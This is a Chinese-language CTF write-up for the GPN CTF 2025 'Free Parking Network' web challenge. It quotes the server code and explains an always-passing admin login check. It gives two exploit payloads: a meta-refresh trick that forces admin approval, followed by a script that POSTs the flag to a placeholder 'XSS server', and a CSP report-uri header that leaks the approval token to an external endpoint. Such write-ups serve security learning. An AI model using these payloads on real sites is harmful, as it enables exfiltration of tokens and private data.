xss利用meta强制跳转 CPS report-uri 报错泄露利用 -- GPN CTF 2025 Free Parking Network 1 2
part 1
在此题目中,我们可以指定html与标头
<sCrIpt>alert(1)</ScRipt>
A5rz: A5rz
服务器会返回如下内容
HTTP/1.1 200 OK
X-Powered-By: Express
A5rz: A5rz
Content-Type: text/html; charset=utf-8
Content-Length: 619
ETag: W/"26b-14GnlO+yaaXJ3CEkd0rBJ/mmY8g"
Date: Mon, 23 Jun 2025 01:56:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="Content-Security-Policy" content="default-src 'none'"><title>User made site hosted on our Free Parking Network</title></head><body><a href="/approve/a0d9faca7b6600e81d51347556a093e5/">Approve this site</a><sCrIpt>alert(1)</ScRipt></body></html>
我们发现返回中存在一个严格的标签使得我们无法执行
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
继续查看发现此标签来自这段代码
// 提供上传的HTML和自定义头部
sessionRouter.get('/site/:id', async (req, res) => {try {// 根据ID获取网站信息const site = await db.getSiteById(req.params.id);if (!site) return res.status(404).send('Not found');// 设置自定义HTTP头部if (site.headers){site.headers.split("\n").forEach(header => {const [key, ...rest] = header.split(":");const value = rest.join(":");if (key && value) {res.setHeader(key.trim(), value.trim());}});}// 设置内容类型res.setHeader('Content-Type', 'text/html; charset=utf-8');// 检查访问权限if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {return res.status(403).send('This site is not approved yet. Please wait for admin approval.');}// 处理批准令牌approveToken = "";if (req.session.userId === 0) approveToken = site.approveToken;// 处理内容安全策略CSP = "";if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';console.log(`Serving site ${site.id} with owner ${site.owner} and approved status ${site.approved}`);// 渲染HTML模板html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);res.send(html);} catch (e) {console.error(e);res.status(500).send('Internal error');}
});
如果用户拥有damin权限则不会有此限制
// 管理员登录端点
noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;// 验证管理员令牌if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}// 设置管理员会话req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});
flag在flag网站中，但是此网站是未被批准的
// 网站批准端点
sessionRouter.get("/approve/:siteId/:approveToken", async (req, res) => {let siteId = req.params.siteId;let approveToken = req.params.approveToken;// 获取网站信息site = await db.getSiteById(siteId);// 检查批准令牌是否有效if (approveToken !== site.approveToken) {res.send("Invalid approval token");return;}// 批准网站await db.approveSite(siteId);res.send("Site approved");
});
此处还存在类似模板注入的漏洞。
// 渲染HTML模板
html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);
题目中存在一个明显的漏洞,导致任何人都可以是admin
noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});
/admin/login?adminToken=1
part 2
修复了任何人都可以是admin的问题
方案1
Trick:
<meta>可用于强制跳转,结合之前的"模板注入"，可以强制让admin审批我们的网站，取消我们网站的xss限制
<meta http-equiv="refresh" content="1; url=/approve/{{site.id}}/{{site.approveToken}}">
/review/:siteId
然后我们可以带出token,让管理员审批/flag
<script>
fetch('/site/flag').then(r => r.text()).then(data =>fetch('xss服务器', {method: 'POST',body: data}))
</script>
方案2
Content-Security-Policy(CSP) 的report-uri指令是一个用于收集违反CSP策略报告的机制。它本身不阻止浏览器加载被禁止的资源或执行被禁止的脚本，而是将违规行为详细记录下来，发送到你指定的服务器端点。
Content-Security-Policy: default-src *; style-src 'report-sample'; script-src 'unsafe-inline'; report-uri xss服务器url;
这允许我们构造故意的错误,向外部服务器泄露错误的详细信息
<style>
{{site.approveToken}}
</style>